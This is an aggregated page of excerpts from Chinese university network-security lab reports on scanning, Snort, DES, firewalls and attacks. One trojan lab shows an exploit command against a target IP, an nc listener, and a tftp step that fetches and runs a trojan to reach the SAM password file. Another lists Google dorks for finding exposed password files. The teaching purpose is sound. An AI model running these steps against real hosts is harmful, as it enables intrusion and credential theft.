《计算机网络安全》实验报告
2021年计算机网络安全实验报告
《计算机网络安全》试验汇报试验序号: 7 试验项目名称: 木马攻击与防范试验3）选择菜单“设置”->“配置服务程序”;4）设置访问口令为“1234567”, 其它为默认值, 点击“确定”生成木马服务端程序G_SERVER.EXE。
5）将生成木马服务程序G_SERVER.EXE拷贝到tftp服务目录即C:\攻防\tftp32。
6）运行tftpd32.exe。
保持此程序一直开启, 用于等候攻击成功后传输木马服务程序。
步骤2: 进行攻击, 将木马放置在被攻击端1)对靶机P3进行攻击, 首先运行nc -vv -l -p 99接着再开一个dos窗口, 运行ms05039 192.168.20.23 192.168.20.1 99 12)攻击成功后, 在运行nc -vv -l -p 99 dos窗口中出现提醒, 若攻击不成功请参考“缓冲区溢出攻击与防范试验”, 再次进行攻击。
3）在此窗口中运行tftp -i 192.168.20.1 get g_server.exe将木马服务程序G_server.exe上传到靶机P3上, 并直接输入g_server.exe 使之运行。
步骤3: 运行木马用户程序控制远程主机1）打开程序端程序, 单击快捷工具栏中“添加主机”按扭, 如图8所表示。
✓“显示名称”: 填入显示在主界面名称“target”✓“主机地址”: 填入服务器端主机IP地址“192.168.20.23”。
✓“访问口令”: 填入每次访问主机密码, 这里输入“1234567”。
✓“监听端口”: “冰河”默认监听端口是7626, 控制端能够修改它以绕过防火墙。
单击“确定”按扭, 即能够看到主机面上添加了主机。
这时我们就能够像操作自己电脑一样操作远程目标电脑, 比如打开C:\WINNT\system32\config目录能够找到对方主机上保留用户口令SAM文件。
点击鼠标右键, 能够发觉有上传和下载功效。
即能够随意将虚拟机器上机密文件下载到本机上, 也能够把恶意文件上传到该虚拟机上并运行。
计算机网络实验报告(6篇)
计算机网络实验报告（6篇）计算机网络实验报告（通用6篇）计算机网络实验报告篇1一、实验目的1、熟悉微机的各个部件；2、掌握将各个部件组装成一台主机的方法和步骤；3、掌握每个部件的安装方法；4、了解微型计算机系统的基本配置；5、熟悉并掌握DOS操作系统的使用；6、掌握文件、目录、路径等概念；7、掌握常用虚拟机软件的安装和使用；8、熟悉并掌握虚拟机上WINDOWS操作系统的安装方法及使用；9、掌握使用启动U盘的制作和U盘安装windows操作系统的方法；10、了解WINDOWS操作系统的基本配置和优化方法。
二、实验内容1.将微机的各个部件组装成一台主机；2.调试机器，使其正常工作；3.了解计算机系统的基本配置。
4.安装及使用虚拟机软件；5.安装WINDOWS7操作系统；6.常用DOS命令的使用；7.学会制作启动U盘和使用方法；8.WINDOWS7的基本操作；9.操作系统的基本设置和优化。
三、实验步骤（参照实验指导书上的内容，结合实验过程中做的具体内容，完成此项内容的撰写）四、思考与总结（写实验的心得体会等）计算机网络实验报告篇2windows平台逻辑层数据恢复一、实验目的：通过运用软件R-Studio_5.0和winhe_对误格式化的硬盘或者其他设备进行数据恢复，通过实验了解windows平台逻辑层误格式化数据恢复原理，能够深入理解并掌握数据恢复软件的使用方法，并能熟练运用这些软件对存储设备设备进行数据恢复。
二、实验要求：运用软件R-Studio_5.0和winhe_对电脑磁盘或者自己的U盘中的删除的数据文件进行恢复，对各种文件进行多次尝试，音频文件、系统文件、文档文件等，对简单删除和格式化的磁盘文件分别恢复，并检查和验证恢复结果，分析两个软件的数据恢复功能差异与优势，进一步熟悉存储介质数据修复和恢复方法及过程，提高自身的对存储介质逻辑层恢复技能。
三、实验环境和设备：（1）Windows _P 或Windows 20__ Professional操作系统。
计算机安全实验报告
一、实验目的随着信息技术的飞速发展，计算机网络安全问题日益凸显。
为了提高学生的网络安全意识，掌握网络安全防护技能，本次实验旨在通过模拟网络安全攻击和防护，让学生了解网络安全的基本概念、攻击手段和防护措施，提高学生的网络安全防护能力。
二、实验环境1. 实验软件：Kali Linux（用于模拟攻击）、Metasploit（用于攻击工具）、Wireshark（用于网络数据包捕获与分析）2. 实验设备：两台计算机（一台作为攻击者，一台作为受害者）三、实验内容1. 网络扫描（1）使用Nmap扫描目标主机的开放端口，了解目标主机的基本信息。
（2）分析扫描结果，找出可能存在的安全漏洞。
2. 漏洞利用（1）针对目标主机发现的漏洞，利用Metasploit进行漏洞利用。
（2）分析攻击过程，了解漏洞利用的原理和技巧。
3. 数据包捕获与分析（1）使用Wireshark捕获攻击过程中的网络数据包。
（2）分析数据包内容，了解攻击者的攻击手法和目标主机的响应。
4. 防护措施（1）针对发现的漏洞，采取相应的防护措施，如更新系统补丁、关闭不必要的服务等。
（2）学习防火墙、入侵检测系统等网络安全设备的使用方法，提高网络安全防护能力。
四、实验步骤1. 准备实验环境（1）在攻击者和受害者主机上安装Kali Linux操作系统。
（2）配置网络，使两台主机处于同一局域网内。
2. 网络扫描（1）在攻击者主机上打开终端，输入命令“nmap -sP 192.168.1.1”进行扫描。
（2）查看扫描结果，了解目标主机的开放端口。
3. 漏洞利用（1）在攻击者主机上打开终端，输入命令“msfconsole”进入Metasploit。
（2）搜索目标主机存在的漏洞，如CVE-2017-5638。
（3）使用Metasploit中的CVE-2017-5638漏洞模块进行攻击。
4. 数据包捕获与分析（1）在受害者主机上打开Wireshark，选择正确的网络接口。
《计算机网络实验》实验报告
《计算机网络实验》实验报告一、实验目的计算机网络实验是计算机相关专业学习中的重要实践环节，通过实验操作，旨在深入理解计算机网络的基本原理、协议和技术，提高我们的动手能力和解决实际问题的能力。
具体目的包括：1、熟悉计算机网络的体系结构和各层协议的工作原理。
2、掌握网络设备的配置和管理方法，如交换机、路由器等。
3、学会使用网络工具进行网络性能测试和故障诊断。
4、培养团队合作精神和沟通能力，提高解决复杂问题的综合素养。
二、实验环境本次实验在学校的计算机网络实验室进行，实验室配备了以下设备和软件：1、计算机若干台，安装了 Windows 操作系统和相关网络工具软件。
2、交换机、路由器等网络设备。
3、网络线缆、跳线等连接设备。
三、实验内容及步骤实验一：以太网帧的捕获与分析1、打开网络协议分析软件 Wireshark。
2、将计算机连接到以太网中，启动捕获功能。
3、在网络中进行一些数据传输操作，如访问网站、发送文件等。
4、停止捕获，对捕获到的以太网帧进行分析，包括帧的格式、源地址、目的地址、类型字段等。
实验二：交换机的基本配置1、连接交换机和计算机，通过控制台端口进行配置。
2、设置交换机的主机名、管理密码。
3、划分 VLAN，并将端口分配到不同的 VLAN 中。
4、测试不同 VLAN 之间的通信情况。
实验三：路由器的基本配置1、连接路由器和计算机，通过控制台端口或Telnet 方式进行配置。
2、设置路由器的接口 IP 地址、子网掩码。
3、配置静态路由和动态路由协议（如 RIP 或 OSPF）。
4、测试网络的连通性。
实验四：网络性能测试1、使用 Ping 命令测试网络的延迟和丢包率。
2、利用 Tracert 命令跟踪数据包的传输路径。
3、使用网络带宽测试工具测试网络的带宽。
四、实验结果与分析实验一结果与分析通过对捕获到的以太网帧的分析，我们清楚地看到了帧的结构，包括前导码、目的地址、源地址、类型字段、数据字段和帧校验序列等。
计算机网络安全实验报告
《计算机网络安全》实验报告实验序号：3 实验项目名称：网络安全编程（二）学号姓名专业、班实验地点指导教师实验时间2011-10-11一、实验目的及要求1. 了解Windows的内部机制；2．学习Windows下的网络安全编程；3．掌握文件系统编程、定时器编程、驻留程序编程、多线程编程。
二、实验设备（环境）及要求软件开发平台：VC++ 6.0三、实验内容与步骤1、编写程序，实现添加系统用户的功能，可参考案例proj3_15.cpp；2、编写程序，实现自动获取系统时间的功能，可参考案例proj3_17.cpp；3、参考案例proj3_18.cpp，练习定时器编程；4、参考案例proj3_20.cpp，练习自动内存驻留程序的编程；5、参考案例proj3_21.cpp及proj3_22.cpp,练习多线程编程，并分析出案例proj3_21.cpp及proj3_22.cpp的异同。
四、实验结果与数据处理4.1添加系统用户：编译并执行程序，建立用户XZJIE_PC,在DOS下用命令“net user”来查看系统添加了新用户XZJIE_PC，如图4.1.1所示。
图4.1.1也可以进入控制面板的“用户账户”中进行验证，如图 4.1.2所示。
图4.1.24.2自动获取系统时间：图4.24.3定时器编程：此题直接运行CPP程序会出现执行错误。
解决方法是要建一个空的Win32 Application 工程，然后再建一个C++ s ource File输入程序代码，编译并执行程序，我们看到系统会弹出一个windows窗口，窗口的颜色会以蓝色和红色交替变换，如图 4.3.1、图4.3.2所示。
图4.3.1。
计算机网络安全实验报告
计算机学院信息安全专业计算机网络安全课程实验报告班级：____ _ _ _学号：___姓名：_ __成绩：________________ _二○一三年六月《计算机网络安全》课程实验评价表一、实验目的1、通过实验掌握常见的网络扫描技术原理，如TCP扫描、UDP扫描、TCP SYN 扫描，ICMP扫描等；2、通过用尽可能多的方法设计和实现网络端口和主机扫描，提高学生对网络扫描的全面了解、提高学生的编程能力；3、通过实验动手加深学生对课堂讲授知识的理解，使其熟练掌握基本的网络编程技术和方法；4、通过编写端口和主机扫描程序，熟悉socket 套接字编程原理，加强学生对网络程序调试的能力。
二、实验原理2、1 TCP SYN SCAN，半开扫描半打扫描（half-open scanning），即TCP SYN scan。
它利用了TCP连接建立三次握手的第一步，并且没有建立一个完整的TCP连接。
实现办法是向远端主机某端口发送一个只有SYN标志位的TCP报文段，如果主机反馈一个SYN|ACK数据包，那么，这个主机正在监听该端口，如果反馈的是RST数据包，说明，主机没有监听该端口。
在X-Scanner扫描工具上就有SYN的选择项。
源主机发送SYN报文开始三次握手过程，并等待目标主机的相应。
如果源主机收到了SYN/ACK包，说明端口处于活跃状态，如果源主机收到RST/ACK包，说明目标主机的对应端口处于不活跃状态；目标主机向源主机返回应答后，源主机就中止与目标主机的连接，所以称为TCP半连接。
由于半连接并没有建立连接，所以这种方法比较隐蔽，目标主机的日志文件可能不会记录到该种方式的扫描。
利用这个方式称作为半开扫描。
2.2 TCP connect扫描这是最基本的TCP扫描。
操作系统提供的connect()系统调用，用来与每一个感兴趣的目标计算机的端口进行连接。
如果端口处于侦听状态，那么connect()就能成功。
否则，这个端口是不能用的，即没有提供服务。
计算机网络安全实验总结
计算机网络安全实验本部分主要包括计算机网络操作系统的配置，网络扫描，网络监听，网络入侵。
1操作系统的安全配置：一个好的网络系统配置会有利于计算机文件的安全，保护管理员的信息等，对操作系统的配置我们总共采用了初级配置，中级配置和高级配置相关步骤，现将其主要介绍如下：注：（主要介绍Windows 2000服务器，同时本人可能用不同机器做不同实验，予以理解）操作系统的安全将决定网络的安全，从保护级别上分成安全初级篇、中级篇和高级篇，共36条基本配置原则，本人只介绍部分相关配置：准备工作：配置之前先进行基本配置包括 IP SubNet Mask Defaulf gateway DNS :首先使用IPconfig查看网络的相关配置如下图：图1-1 本地网络相关配置图由于事先网络中心已经对其进行配置，我们只需打开网上邻居的属性TCP/IP协议双击进行配置即可，当然如果是一台笔记本经常移动我们可以采用DHCP协议对其进行默认配置即可。
1.1初级配置：1.停止Guest账号：在计算机管理的用户里面把Guest帐号停用，任何时候都不允许Guest帐号登陆系统。
为了保险起见，最好给Guest 加一个复杂的密码，可以打开记事本，在里面输入一串包含特殊字符,数字，字母的长字符串这里我们设置liuyaotao。
用它作为Guest帐号的密码。
并且修改Guest帐号的属性，设置拒绝远程访问，Xp中没有密码设置的功能。
2000系统和2000sever有，具体演示在录像中。
2.限制用户数量：去掉所有的测试帐户、共享帐号和普通部门帐号等等。
用户组策略设置相应权限，并且经常检查系统的帐户，删除已经不使用的帐户。
打开控制面板，用户管理进行相关的操作。
一般对于Windows NT/2000/XP主机，如果系统帐户超过10个，一般能找出一两个弱口令帐户，对系统不利，所以帐户数量要小于十个，这里我们设置用户为3个Administrator,Student,Guest，具体演示在录像之中，请予以观赏。
网络安全实验报告[共五篇]
![网络安全实验报告[共五篇]](https://img.taocdn.com/s3/m/1aa839ecd05abe23482fb4daa58da0116c171f0c.png)
网络安全实验报告[共五篇]第一篇：网络安全实验报告实验一：网络扫描实验【实验目的】了解扫描的基本原理，掌握基本方法，最终巩固主机安全【实验内容】1、学习使用Nmap的使用方法2、学习使用漏洞扫描工具【实验环境】1、硬件 PC机一台。
2、系统配置：操作系统windows XP以上。
【实验步骤】1、端口扫描1）解压并安装ipscan15.zip，扫描本局域网内的主机2）解压nmap-4.00-win32.zip，安装WinPcap运行cmd.exe，熟悉nmap命令(详见“Nmap详解.mht”)。
3）试图做以下扫描：扫描局域网内存活主机，扫描某一台主机或某一个网段的开放端口扫描目标主机的操作系统试图使用Nmap的其他扫描方式，伪源地址、隐蔽扫描等2、漏洞扫描解压X-Scan-v3.3-cn.rar，运行程序xscan_gui.exe，将所有模块选择扫描，扫描本机，或局域网内某一台主机的漏洞【实验背景知识】1、扫描及漏洞扫描原理见第四章黑客攻击技术.ppt2、NMAP使用方法扫描器是帮助你了解自己系统的绝佳助手。
象Windows 2K/XP 这样复杂的操作系统支持应用软件打开数百个端口与其他客户程序或服务器通信，端口扫描是检测服务器上运行了哪些服务和应用、向Internet或其他网络开放了哪些联系通道的一种办法，不仅速度快，而且效果也很不错。
Nmap被开发用于允许系统管理员察看一个大的网络系统有哪些主机以及其上运行何种服务。
它支持多种协议的扫描如UDP，TCP connect(),TCP SYN(half open), ftp proxy(bounce attack),Reverse-ident, ICMP(ping sweep), FIN, ACK sweep,Xmas Tree, SYN sweep，1 和Null扫描。
可以从SCAN TYPES一节中察看相关细节。
Nmap还提供一些实用功能如通过tcp/ip来甄别操作系统类型、秘密扫描、动态延迟和重发、平行扫描、通过并行的PING侦测下属的主机、欺骗扫描、端口过滤探测、直接的RPC扫描、分布扫描、灵活的目标选择以及端口的描述。
《计算机网络》实验报告
一、实验目的1. 理解计算机网络的基本概念和结构。
2. 掌握网络设备的配置方法，包括交换机、路由器等。
3. 学习网络协议的作用和配置方法，如TCP/IP、DHCP等。
4. 通过实验加深对网络故障诊断和排除能力的培养。
二、实验内容1. 实验环境实验设备：一台PC机、一台交换机、一台路由器、双绞线、网线等。
实验软件：Windows操作系统、网络管理软件等。
2. 实验步骤（1）网络设备连接首先，将PC机通过网线连接到交换机的一个端口上。
然后，将交换机的另一个端口连接到路由器的WAN口。
最后，将路由器的LAN口连接到PC机的另一台交换机上。
（2）网络设备配置①交换机配置进入交换机命令行界面，配置交换机的基本参数，如VLAN ID、IP地址、子网掩码等。
②路由器配置进入路由器命令行界面，配置路由器的接口参数，如WAN口和LAN口的IP地址、子网掩码等。
同时，配置路由协议，如静态路由、动态路由等。
③PC机配置在PC机的网络设置中，将IP地址、子网掩码、默认网关等信息设置为与路由器LAN口相同的参数。
（3）网络测试①测试PC机与交换机之间的连通性在PC机中ping交换机的IP地址，检查PC机是否能够与交换机通信。
②测试PC机与路由器之间的连通性在PC机中ping路由器的IP地址，检查PC机是否能够与路由器通信。
③测试不同VLAN之间的连通性在PC机中ping另一个VLAN中的设备，检查不同VLAN之间的设备是否能够相互通信。
三、实验结果与分析1. 实验结果（1）PC机与交换机之间连通（2）PC机与路由器之间连通（3）不同VLAN之间的设备相互通信2. 实验分析通过本次实验，我们成功搭建了一个简单的计算机网络，并掌握了网络设备的配置方法。
在实验过程中，我们遇到了一些问题，如网络设备之间的连通性、VLAN之间的通信等。
通过查阅资料和调试，我们解决了这些问题，加深了对计算机网络的理解。
四、实验总结1. 通过本次实验，我们了解了计算机网络的基本概念和结构，掌握了网络设备的配置方法。
《计算机网络安全》实验报告
《计算机网络安全》实验报告 实验名称：信息搜集年级: 2014级专业: 网络工程班级：一班姓名：张帅学号： 1425131032成绩:指导教师：卢正添提交报告时间： 2017年 5月 21 日一、实验目的1、了解信息搜集的一般步骤2、学会熟练使用ping命令3、学会利用Nmap等工具进行信息搜集二、系统环境Windows、Linux三、网络环境交换网络结构四、实验步骤与实验结果一．信息搜集1。
ping探测主机A开启命令行，对主机B进行ping探测，根据主机B的回复,可以确定主机A和主机B之间的连通情况，还可以根据回复数据包的TTL值对操作系统进行猜测.回复数据包的TTL值：64 ，主机B操作系统可能为：Linux 。
2。
Nmap扫描（1）对活动主机进行端口扫描主机A使用Nmap工具对主机B进行TCP端口同步扫描（范围1—150）：Nmap命令nmap –sS 172。
16。
0.60 –p 1-150 ；主机B开放的TCP端口21 22 23 25 80 88 139 。
对主机B进行UDP端口扫描(范围是110—140）:Nmap命令nmap –sU 172。
16。
0.60 –p 110—140 ；主机B开放的UDP端口111 123 137 138 。
（2）对活动主机操作系统进行探测主机A对主机B进行TCP/IP指纹特征扫描：Nmap命令nmap –O 172.16.0。
60（3)对活动主机运行服务进行探测主机A单击平台工具栏“协议分析器”按钮，启动协议分析器进行数据包捕获。
打开IE在地址栏中输入http://主机B的IP，访问主机B的web服务，停止协议分析器，查看捕获结果。
图1-1—1可做为参考.图1-1-1 HTTP会话分析由图1—1—1可判断目标主机web服务使用的软件类型是Apache/2。
2.0(Fedora）。
请探测目标主机FTP服务使用的软件类型是vsftp.（4）对活动主机IP协议进行探测主机A使用Nmap命令对主机B进行IP协议探测：Namp命令nmap –sO 172.16。
计算机网络安全实验报告
华中科技大学计算机学院《计算机网络安全》实验报告实验名称使用Google Hacking分析Web网站团队成员：注：团队成员贡献百分比之和为1教师评语：一.环境（详细说明运行的操作系统，网络平台，机器的IP地址）操作系统 Windows XP 专业版 32位 SP3 ( DirectX 9.0c ) 网络平台电信局域网IP地址 192.168.1.12二.实验目的1、掌握google搜索引擎的高级技巧2、掌握google搜索对Web安全信息搜集的技巧3、利用google hacking技术对一个Web站点进行安全信息搜集，并指出该站点可能的存在的安全问题。
三.实验步骤及结果（包括主要流程和说明）1、学习google高级搜索技巧：intitle: 搜索在网页标题中出现第一个关键词的网页。
filetype: 搜索特定扩展名的文件（如.doc .pdf .ppt）。
inurl: 返回的网页链接中包含第一个关键字的网页。
这样可以找到一些相关网站管理员的登录url,例如在上述搜索第八页有：2、利用google搜索引擎对Web站点安全相关信息进行搜集：intitle:"index of" etc/password可以找到一些因配置不合理而泄漏的密码文件。
打开其中某一条可以看到相应的一些文件，包括密码文件。
3、利用google搜索引擎对一个具体的Web站点进行分析：使用Google对华科校园网站进行测试。
先寻找网站的后台管理地址：Site: inurl:login可以看到一系列相关的后台登录页面：例如华科校友管理系统的登录页面：我选择对华科校友管理系统进行google hacking实验。
首先以site: intitle:index of / admin搜索一下管理员是否因安全意识不强而泄漏一些保密文件：没有得到任何结果。
使用site: intitle:index of /passwordsite: intitle:index of /secretsite: intitle:index of /passwdsite: intitle:index of /htppasswdsite: intitle:index of /master.wdsite: intitle:index of / etc / passwdsite: intitle:index of / passlist.txtsite: intitle:index of / auth_user_file.txtsite: intitle:index of / .bash_historysite: inurl:config.txtsite: inurl:loadsite: inurl:uploadsite: inurl:filesite: inurl:admin filetype:txtsite: inurl:admin filetype:dbsite: inurl:admin filetype:cfgsite: inurl:passwd filetype:txtsite: inurl:file_upload.php进行搜索都没有得到有用的秘密文件，也没有发现上传漏洞，所以可以认为华科校友管理系统对google hacking来说是比较安全的，或者说管理员的安全意识比较强，没有无意泄漏秘密文件。
计算机网络安全实验2_snort与其基础环境的安装配置
《计算机网络安全》实验报告实验序号： 2 实验项目名称：snort与其基础环境的安装配置学号姓名专业班级20网络工程实验地点指导教师实验时间2022-10-13 snort与其基础环境的安装配置【实验目的】1)熟悉基础环境的搭建和snort的安装配置【实验原理】1)Snort能够对网络上的数据包进行抓包分析，但区别于其它嗅探器的是，它能根据所定义的规则进行响应及处理。
Snort 通过对获取的数据包，进行各规则的分析后，根据规则链，可采取Activation（报警并启动另外一个动态规则链）、Dynamic（由其它的规则包调用）、Alert（报警），Pass（忽略），Log （不报警但记录网络流量）五种响应的机制。
Snort有数据包嗅探，数据包分析，数据包检测，响应处理等多种功能，每个模块实现不同的功能，各模块都是用插件的方式和Snort相结合，功能扩展方便。
例如，预处理插件的功能就是在规则匹配误用检测之前运行，完成TIP碎片重组，http解码，telnet解码等功能，处理插件完成检查协议各字段，关闭连接，攻击响应等功能，输出插件将得理后的各种情况以日志或警告的方式输出。
【实验环境】CentOS6.5：192.168.1.2【实验步骤】一、安装snort+barnyard21.1进入/home/software目录，解压libpcap-1.0.0.tar.gz。
如图1所示图11.2进入目录libpcap-1.0.0的目录执行“./configure”命令进行配置。
如图2所示图21.3执行命令“make && make install”，进行libpcap的编译安装。
如图3所示图31.4进入目录“/home/software”，ls查看文件，执行命令“tar zxvf daq-2.0.4.tar.gz”，解压daq-2.0.4.tar.gz文件。
如图4所示图41.5使用cd命令切换到daq-2.0.4的目录下。
计算机网络安全 实验
计算机网络安全实验
计算机网络安全是指保护计算机网络免受未经授权的访问、破坏、修改或者泄漏信息的威胁的一系列技术和措施。
随着互联网的普及和应用的广泛，计算机网络安全问题日益凸显，因此开展实验来探索和加强网络安全的能力非常重要。
计算机网络安全实验的目的是帮助学生了解和掌握网络攻击和防护的基本原理和技术。
通过实验，学生可以亲自动手实践，了解网络攻击的手段和原理，掌握常见的网络安全漏洞和攻击方法，并学会使用相应的工具和技术来进行网络防护和应急响应。
在计算机网络安全实验中，学生可以学习到如下内容：
1.网络攻击与防护基础知识：学生可以通过实验了解网络攻击
的类型、特点和原理，学习常见的防护技术和策略。
2.网络扫描和漏洞评估：学生可以学习使用网络扫描工具来发
现网络中的漏洞，评估网络的安全性，并提出相应的修复建议。
3.密码攻击与防护：学生可以学习利用常见的密码攻击方法破
解密码，同时也可以学习如何设计和使用强密码，以提高系统的安全性。
4.网络流量分析与入侵检测：学生可以学习使用网络流量分析
工具来检测网络中的异常流量和入侵行为，提高网络的安全防护能力。
5.应急响应与恶意代码分析：学生可以学习如何进行网络安全事件的应急响应，以及对恶意代码的分析和处理，提高网络应急能力。
通过计算机网络安全实验，学生能够加深对网络攻击和防护技术的理解，掌握相关的操作技能，并且培养对网络安全的意识和保护意识。
这些实验不仅能够帮助学生学习专业知识，还可以提升学生的实践能力和问题解决能力，为今后从事网络安全相关的工作打下坚实的基础。
计算机网络安全技术 实验报告
计算机网络安全技术实验报告一、实验目的随着信息技术的飞速发展，计算机网络在各个领域得到了广泛的应用。
然而，网络安全问题也日益凸显，给个人、企业和社会带来了严重的威胁。
本次实验的目的在于深入了解计算机网络安全技术，通过实际操作和实验分析，掌握常见的网络攻击手段和防御方法，提高网络安全意识和防范能力。
二、实验环境本次实验使用了以下软件和硬件环境：1、操作系统：Windows 10 专业版2、网络模拟软件：Packet Tracer3、漏洞扫描工具：Nmap4、防火墙：Windows Defender Firewall三、实验内容（一）网络拓扑结构搭建使用 Packet Tracer 软件搭建了一个简单的网络拓扑结构，包括客户端、服务器、路由器和交换机等设备，模拟了一个企业内部网络环境。
（二）网络攻击实验1、端口扫描使用Nmap 工具对网络中的主机进行端口扫描，获取开放端口信息，分析可能存在的服务和漏洞。
2、漏洞利用针对扫描发现的漏洞，尝试利用相关工具进行攻击，如 SQL 注入攻击、缓冲区溢出攻击等。
3、恶意软件植入通过网络共享、邮件附件等方式，向客户端植入恶意软件，观察其对系统的影响。
（三）网络防御实验1、防火墙配置在 Windows Defender Firewall 中设置访问规则，限制外部网络对内部网络的访问，阻止非法连接。
2、入侵检测与防范安装入侵检测系统（IDS），实时监测网络中的异常流量和攻击行为，并及时采取防范措施。
3、系统更新与补丁管理定期对操作系统和应用程序进行更新，安装安全补丁，修复已知漏洞，提高系统的安全性。
四、实验结果与分析（一）网络攻击实验结果1、端口扫描通过端口扫描发现，服务器开放了 80（HTTP）、443（HTTPS）、3389（远程桌面）等端口，客户端开放了 135（RPC）、139（NetBIOS）、445（SMB）等端口。
这些开放端口可能存在潜在的安全风险。
2、漏洞利用在 SQL 注入攻击实验中，成功获取了数据库中的敏感信息；在缓冲区溢出攻击实验中，导致服务器系统崩溃。
计算机网络安全--对称密码算法DES实验报告
实验一对称密码算法DES一、实验目的通过用DES算法对实际的数据进行加密和解密来深刻了解DES的运行原理。
二、实验环境运行Windows或Linux操作系统的PC机，具有gcc(Linux)、VC(Windows)等C语言编译环境。
三、实验内容和步骤（1）使用附录提供的程序对一个文件进行加密和解密，程序代码和执行结果如下所示。
程序代码：#include "des.h"#include "stdio.h"int main(int argc, char *argv[]){unsigned char key[8]= { 'a','b','c','d','a','b','c','d' };des_key skey;des_setup(key,8,0,&skey);FILE *fd1;FILE *fd2;fd1=fopen("plaintext1.txt","rb");fd2=fopen("cipertext.txt","wb");int count=0;unsigned char p_buf[8];unsigned char c_buf[8];while(true){count=fread(p_buf,sizeof(unsigned char),8,fd1);if(count<8)for(int i=count;i<=7;i++)p_buf[i]='\0';des_ecb_encrypt(p_buf,c_buf,&skey);fwrite(c_buf,sizeof(unsigned char),8,fd2);if(count<8)break;count=0;}fclose(fd1);fclose(fd2);fd2=fopen("cipertext.txt","rb");网络安全实验报告学院专业班学号姓名成绩评定_______ 教师签名实验 1 题目对称密码算法DES 课程名称网络安全fd3=fopen("plaintext2.txt","wb");while(true){count=fread(p_buf,sizeof(unsigned char),8,fd2);if(count==0)break;des_ecb_decrypt(p_buf,c_buf,&skey);fwrite(c_buf,sizeof(unsigned char),8,fd3);count=0;}fclose(fd2);fclose(fd3);system("PAUSE");return 0;}程序执行结果：例如plaintext1.txt存放的明文为：加密后的密文为：解密后plaintext2.txt中的明文为：（2）使用附录提供的程序对输入的十六进制数加密（把输入的字符转化成整数。
计算机网络安全实验报告
计算机网络安全《网络攻击技术与防御》学号： 1 10姓名：专业班级：指导教师：目录1、网络安全现状。
2、网络攻击常用步骤。
3、网络攻击工具介绍。
4、怎样防御网络工具的攻击。
5、几种不同类型工具与防御方法。
6、总结。
1、网络安全现状随着计算机和通信技术的发展，网络信息的安全和保密已成为一个至关重要且急需解决的问题。
计算机网络所具有的开放性、互连性和共享性等特征使网上信息安全存在着先天不足，再加上系统软件中的安全漏洞以及所欠缺的严格管理，致使网络易受攻击，因此网络安全所采取的措施应能全方位地针对各种不同的威胁，保障网络信息的保密性、完整性和可用性。
现有网络系统和协议还是不健全、不完善、不安全的。
2、网络攻击常用步骤一般网络攻击都分为三个阶段，即攻击的准备阶段、攻击的实施阶段和攻击的善后阶段。
攻击的准备阶段：确定攻击目的、准备攻击工具和收集目标信息。
攻击的实施阶段：实施具体的攻击行动。
一般步骤如下： 1. 隐藏自己的位置2. 利用收集到的信息获取帐号和密码，登陆主机。
3. 利用漏洞或者其他方法获得控制权并窃取网络资源和特权。
攻击的善后阶段：消除攻击的痕迹、植入后门，退出。
3、网络攻击工具介绍3.1 WinNuke通过发送OOB漏洞导致系统蓝屏；Bonk通过发送大量伪造的UDP数据包导致系统重启；TearDrop通过发送重叠的IP碎片导致系统的TCP/IP栈崩溃；WinArp 通过发特殊数据包在对方机器上产生大量的窗口；Land通过发送大量伪造源IP 的基于SYN的TCP请求导致系统重启动；FluShot通过发送特定IP包导致系统凝固；Bloo通过发送大量的ICMP数据包导致系统变慢甚至凝固；PIMP通过IGMP 漏洞导致系统蓝屏甚至重新启动；Jolt通过大量伪造的ICMP和UDP导致系统变的非常慢甚至重新启动。
3.2 BO2000(BackOrifice)它是功能最全的TCP／IP构架的攻击工具，可以搜集信息，执行系统命令，重新设置机器，重新定向网络的客户端／服务器应用程序。
计算机网络安全-实验报告精选全文完整版
、可编辑修改精选全文完整版《计算机网络安全》实验报告与习题册2012 / 2013 学年第1学期系别专业班级姓名学号指导教师实验一使用网络监听工具一、实验要求与目的1.使用监听工具NetXray2.熟悉Sniffer的原理及被监听的危害二、实验内容：1.熟悉NetXray界面2.设置过滤条件（如网络病毒），过滤报文3.监视本机的业务流量三、实验步骤四、实验结果五、习题1.TCP和UDP之间的主要区别是什么？2.网桥、路由器和网关的主要区别是什么？3.将一个C类网络分成8个子网，若我们用的网络号为202.204.125.试写出网络划分的方法和子网掩码。
实验二使用Sniffer Pro 网络分析器一、实验要求与目的1.学会Sniffer Pro安装；2.掌握Sniffer Pro常用功能；3.理解网络协议分析。
二、实验内容1. 安装Sniffer Pro2. 熟悉功能面板3. 使用Sniffer Pro网络分析器抓取某台机器的所有数据包三、实验步骤四、实验结果五、习题1．网络安全主要有哪些关键技术？如何实施网络安全的安全策略？2.访问控制的含义是什么？计算机系统安全技术标准有哪些？3.数据库的加密有哪些要求？加密方式有哪些种类？实验三实现加解密程序一、实验要求与目的1.熟悉加密、解密的算法；懂得加密在通信中的重要作用2.熟悉密码工作模式3.使用高级语言实现一个加密、解密程序二、实验内容编写DES算法对一个文件进行加密和解密。
三、实验步骤四、实验结果五、习题1.计算机病毒的基本特征是什么？2.简述计算机病毒攻击的对象及所造成的危害。
3.简述宏病毒的特征及其清除方法。
4.什么是网络病毒？防治网络病毒的要点是什么？实验四安装和配置证书服务一、实验要求与目的1.了解数字证书工作原理以及对其简单的应用2.了解PKI技术。
二、实验内容运用数字证书对邮件进行加密，体会数据加密的过程与其安全性的体现。
三、实验步骤四、实验结果五、习题1.用维吉尼亚法加密下段文字：COMPUTER AND PASSWORD SYSTEM ，密钥为KEYWORD2.简述DES算法中的依次迭代过程和加密函数f的计算过程实验五使用防火墙一、实验要求与目的1. 熟悉天网防火墙软件的使用2. 熟悉防火墙基本知识二、实验内容通过对天网防火墙软件的熟悉与使用了解在网络安全中防火墙的重要性，并学会简单的防火墙配置三、实验步骤四、实验结果五、习题1.已知RSA密码体制的公开密码为n=55,e=7,试加密明文m=10,通过求解p,q和d破译这种密码体制。
网络安全实验报告5则范文
网络安全实验报告5则范文第一篇：网络安全实验报告网络安全实验1.访问网站的证书类型以及各种证书的作用1.1 个人证书（个人身份证书、个人Email证书）1.11个人身份证书经SHECA签名的包含个人身份信息的证书，它用于标志自然人在进行信息交换、电子签名、电子政务、电子商务等网络活动中的身份，并且保障信息在传输中的安全性和完整性，可以存储在硬盘、USB Key、IC卡等介质中。
1.12个人Email证书用于标志自然人申请者电子邮件（E-mail）的身份。
证书持有人可以在电子邮件中对信件内容进行加密和签名操作。
1.2单位证书（单位身份证书、单位Email证书、单位部门证书、单位职位证书、单位代码签名证书）1.21单位身份证书用于标志单位身份证书持有人在进行信息交换、电子签名、电子政务、电子商务等网络活动中的身份，颁发给企事业单位、政府部门、社会团体等各类组织机构。
证书可存放在硬盘、USB Key、IC卡等各类介质中。
